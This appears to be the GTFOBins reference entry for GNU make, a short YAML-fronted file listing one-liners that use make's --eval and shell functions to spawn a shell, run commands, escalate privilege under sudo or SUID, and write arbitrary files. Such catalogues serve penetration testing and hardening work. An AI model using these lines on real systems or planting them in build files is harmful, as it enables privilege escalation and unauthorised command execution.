GTFOBins.github.io/_gtfobins/make.md
2018-06-04 10:21:53 +00:00

24 lines
689 B
Markdown

---
functions:
execute-interactive:
- code: |
COMMAND='/bin/sh 1>&2'
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
execute-non-interactive:
- code: |
COMMAND=/usr/bin/id
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
sudo-enabled:
- code: |
COMMAND=/usr/bin/id
sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
suid-enabled:
- code: |
COMMAND=/usr/bin/id
./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
file-write:
- code: |
LFILE=file_to_write
make -s --eval="a := \$(file >$LFILE,data)" --eval='all:'
---